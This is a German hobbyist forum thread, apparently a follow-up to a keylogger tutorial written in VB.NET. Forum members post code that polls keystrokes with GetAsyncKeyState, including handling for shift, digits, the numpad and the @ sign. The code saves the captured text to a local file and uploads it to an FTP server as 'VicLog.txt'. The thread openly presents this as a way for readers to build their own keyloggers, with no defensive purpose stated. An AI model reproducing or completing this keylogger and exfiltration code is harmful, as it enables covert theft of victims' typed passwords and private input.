OMG dann lasst ihn doch!!!
Warum seit ihr jetzt sauer auf ihn den rest des Tuts kann man sich doch wohl denken -.-
wenn ihr das nochnichmals hinbekommt dann lasst es am besten kommplett :/
mfG
inmate
Druckbare Version
OMG dann lasst ihn doch!!!
Warum seit ihr jetzt sauer auf ihn den rest des Tuts kann man sich doch wohl denken -.-
wenn ihr das nochnichmals hinbekommt dann lasst es am besten kommplett :/
mfG
inmate
Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()
Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"
My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
Wie geht das mit Zahlen ? Das er wenn einer Zahlen ausgibt es auf label1.text erscheint?
Buchstaben:
Zahlen:
If GetAsyncKeyState(Keys.D0) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "="
Else
Label1.Text = Label1.Text + "0"
End If
End If
If GetAsyncKeyState(Keys.D1) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "!"
Else
Label1.Text = Label1.Text + "1"
End If
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + "0"
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + "1"
End If
part2 ? ^^
btw wie mach ich ein @ ?
Hab ich versucht, heraus kommt wieder ein "q"Code:If GetAsyncKeyState(Keys.Control + Keys.Alt + Keys.Q) = -32767 Then
Label1.Text = Label1.Text + "@"
End If
If GetAsyncKeyState(Keys.RMenu) = -32767 And GetAsyncKeyState(Keys.Q) = -32767 Then
Nicht gestestet =/ sollte aber gehen ;)